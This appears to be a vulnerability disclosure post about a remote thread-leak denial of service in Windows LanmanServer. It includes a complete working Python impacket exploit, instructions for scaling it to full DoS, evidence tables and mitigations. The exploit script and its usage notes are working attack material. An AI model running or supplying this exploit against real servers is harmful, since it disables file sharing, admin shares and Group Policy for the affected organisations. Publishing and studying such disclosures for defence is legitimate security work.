| Field | Value |
|---|---|
| Component | srvsvc.dll 10.0.26100.1, LanmanServer svchost.exe |
| Type | Resource exhaustion — unbounded thread accumulation |
| Auth required | Yes — any domain or local account (no elevation) |
| Attack vector | Network — TCP 445, ncacn_np transport |
| Impact | Full SMB stack DoS — file sharing, admin shares, pipe-based RPC all unavailable |
The Windows LanmanServer service (srvsvc.dll) doesn't reclaim worker
threads when authenticated RPC clients disconnect from \pipe\srvsvc.
Thread count grows monotonically with connection cycles and never returns to
baseline. Once enough threads accumulate, the Service Control Manager can't
deliver control codes within its 30-second timeout and EventID 7011 fires —
at which point all SMB file sharing, admin shares, and named-pipe-dependent
remote management are unavailable.
The attack is entirely remote. The only prerequisites are TCP/445 reachability and one set of low-privileged credentials — any domain user, any local account. The PoC is 73 lines of Python using impacket and runs in under 30 seconds to a detectable leak, under five minutes to full DoS.
What LanmanServer is and why it matters
LanmanServer is the Windows implementation of the SMB server — the service that
makes \\server\share work. It hosts the MS-SRVS (Server Service
Remote Protocol) interface, which is exposed as an RPC endpoint on the named
pipe \pipe\srvsvc. That pipe is reachable from the network via
SMB transport (port 445) and requires a valid authenticated session.
Everything that depends on SMB for its own remote management channel goes down when LanmanServer goes down:
- All file and printer shares
- Admin shares —
C$,ADMIN$,IPC$ - WMI remote (uses
ncacn_npoverIPC$) sc.exeremote andPsExec-style execution- Group Policy SYSVOL replication (domain controllers)
- Any other RPC service using the named pipe transport
On a domain controller, taking down LanmanServer means SYSVOL becomes unreachable. Group Policy stops applying for every machine that polls that DC.
The thread leak
MS-SRVS uses the DCE/RPC connection-oriented protocol over named pipe
transport (ncacn_np). When a client connects and binds to the
server's interface, the server allocates a worker thread from its thread pool
to service that RPC association. On normal disconnect, that thread should be
returned to the pool and recycled.
In LanmanServer's implementation in srvsvc.dll, the thread is not
fully reclaimed after disconnect. It remains in the pool in a blocked state —
ntdll!NtWaitForSingleObject — consuming a thread object and a stack
allocation indefinitely. This is confirmed by the memory dump: all 8,697 threads
at peak are sitting at the same wait call with no work queued.
The leak is worst when the client dispatches a call before disconnecting. The
PoC uses opnum 31 — NetprPathCanonicalize — with a 32,768-character
path. This isn't the thing that causes the leak; it's what maximises it. The
oversized call commits the server-side thread to processing the request before
the transport is torn down, preventing the thread lifecycle from running cleanup
on the happy path. A bare connect/bind/disconnect leaks at a lower rate;
dispatching first makes every cycle count.
Proof of concept
#!/usr/bin/env python3
"""
PoC: LanmanServer RPC Thread Accumulation DoS
Target: Windows LanmanServer service (srvsvc.dll)
Requirements: pip install impacket
Usage: python3 msrc_poc_lanman_thread_leak.py <TARGET_IP> <USER> <PASS>
"""
import sys, time, struct
from impacket.dcerpc.v5 import transport, srvs
TARGET = sys.argv[1] if len(sys.argv) > 1 else "TARGET_IP"
USERNAME = sys.argv[2] if len(sys.argv) > 2 else "username"
PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password"
CYCLES = 500 # connections to open/close — increase for full DoS
INTERVAL = 0.05 # seconds between cycles
ok = 0
fail = 0
for i in range(CYCLES):
try:
rpct = transport.DCERPCTransportFactory(
f"ncacn_np:{TARGET}[\\pipe\\srvsvc]"
)
rpct.set_credentials(USERNAME, PASSWORD)
dce = rpct.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
# opnum 31 — NetprPathCanonicalize with oversized path
path = "C:\\" + "A" * 32768
def ndr_wstr(s):
d = (s + "\x00").encode("utf-16-le")
c = len(d) // 2
return struct.pack("<III", c, 0, c) + d
stub = struct.pack("<I", 0x00020000)
stub += ndr_wstr(path)
stub += struct.pack("<I", 1024)
stub += ndr_wstr("\\")
stub += struct.pack("<I", 0x00020004)
stub += struct.pack("<I", 0)
stub += ndr_wstr(TARGET)
stub += struct.pack("<I", 1)
try:
dce.call(31, stub)
except Exception:
pass # error response expected — thread was still allocated
dce.disconnect()
ok += 1
except Exception as e:
fail += 1
if (i + 1) % 50 == 0:
print(f" [{i+1:4d}/{CYCLES}] ok={ok} fail={fail}")
time.sleep(INTERVAL)
print(f"\n[*] Done. {ok} connections cycled.")
print(f"[*] Check LanmanServer thread count — should be elevated above baseline (~50).")
To monitor thread growth on the target while the PoC runs:
while($true) {
$p = Get-Process svchost | Sort-Object { $_.Threads.Count } -Descending | Select-Object -First 1
Write-Host "$($p.Id) $($p.Threads.Count) threads $([math]::Round($p.WorkingSet64/1MB,1)) MB"
Start-Sleep 10
}
At 500 cycles with 0.05s intervals the run completes in about 25 seconds.
Set CYCLES = 5000, or run the script ten times back-to-back, for
the full DoS condition. Creating a throwaway standard user account for testing:
# on target (PowerShell, admin) net user testuser TestPass123! /add # from attacker (Kali, any Python 3 + impacket) python3 msrc_poc_lanman_thread_leak.py <TARGET_IP> testuser TestPass123!
What each step does
Walking through the relevant lines to make the RPC mechanics explicit:
DCERPCTransportFactory("ncacn_np:TARGET[\\pipe\\srvsvc]") — selects
the Named Pipe connection-oriented RPC transport. This means everything goes
over SMB on port 445, using an existing or new authenticated SMB session as the
outer layer. The named pipe \pipe\srvsvc is the endpoint for the
Server Service Remote Protocol (MS-SRVS).
dce.connect() + dce.bind(MSRPC_UUID_SRVS) — establishes
the RPC association and identifies the interface. This is where the server allocates
the worker thread that will service this association.
dce.call(31, stub) — dispatches
NetprPathCanonicalize (opnum 31, documented in MS-SRVS §3.1.4.31)
with a hand-rolled NDR payload containing a 32,768-character wide-string path.
The call returns an error — the path is intentionally malformed — but the
server-side thread has already been dispatched into the call handling path.
The exception is caught and discarded; the return code doesn't matter.
dce.disconnect() — closes the transport. The server-side thread
does not return to the pool.
Evidence
Thread counts recorded on the LanmanServer svchost.exe continuously during testing:
| State | Threads | Working set |
|---|---|---|
| Baseline (before PoC) | ~50 | ~13 MB |
| Peak (during full-DoS run) | 8,697 | ~260 MB |
| After 2-hour idle (no connections) | 2,728 | ~82 MB |
Thread count after the 2-hour idle period did not return to the ~50 baseline. The leaked threads are permanent for the lifetime of the service process — a restart is required to reclaim them.
A full process dump of LanmanServer svchost.exe was captured at peak accumulation:
; Captured 2026-04-14 10:41 UTC ; procdump on PID 2892 (LanmanServer svchost) ; MDMP ThreadListStream: 8,697 threads ; All 8,697 threads at: ntdll!NtWaitForSingleObject ; No exception stream — process alive, thread pool saturated ; SHA-256: c41acf3024653869664e7b8399d3b7d83e7f0064f18da74b294a85d6885ec10b
All 8,697 threads sitting at NtWaitForSingleObject with nothing
queued confirms these are idle, leaked threads — not threads processing active
connections. The service is alive but its schedulable capacity is exhausted.
EventID 7011 fired four times on 2026-04-14, recorded in the System event log:
Source: Service Control Manager
Log: System
ID: 7011
08:45:58 "A timeout (30000 milliseconds) was reached while waiting for
a transaction response from the LanmanServer service."
14:30:15 same
14:41:00 same ← service unresponsive for 21+ consecutive minutes
14:51:38 same
During those windows, all SMB file sharing, named pipe access, and admin shares were unavailable on the target machine.
Target environment
- Windows 11 Build 26200.xxxx — fully patched, April 2026 Patch Tuesday
srvsvc.dllversion 10.0.26100.1- Authentication: any valid domain or local account — no elevated privileges required
- No local console access to the target required
- Attacker: any machine with TCP/445 access — same subnet, or any routed path where port 445 is not filtered
Mitigation
No patch exists. These controls reduce exposure:
- Restrict TCP/445 inbound to explicitly authorised hosts via host-based firewall rules or network ACLs. This is the most effective control and directly prevents the attack from anything outside the permitted set.
- Monitor EventID 7011 for LanmanServer in the System event log. Multiple 7011 events in a short window are a reliable indicator of thread pool exhaustion in progress.
- Monitor thread count for the LanmanServer svchost process in your performance infrastructure. Healthy baseline is ~50 threads. Rapid growth above a few hundred warrants investigation.
- Alert on high-rate SMB session churn from a single source IP — connection cycling at 1–2 sessions/sec from one host is anomalous for normal file-sharing workloads.
Timeline
| Date | Event |
|---|---|
| 2026-04-14 | Discovery; memory dump captured at peak (8,697 threads); 4× EventID 7011 |
| 2026-06-01 | Public disclosure |
I'll update this post if a patch ships in a future Patch Tuesday.
Dump SHA-256: c41acf3024653869664e7b8399d3b7d83e7f0064f18da74b294a85d6885ec10b
(444 MB, available on request)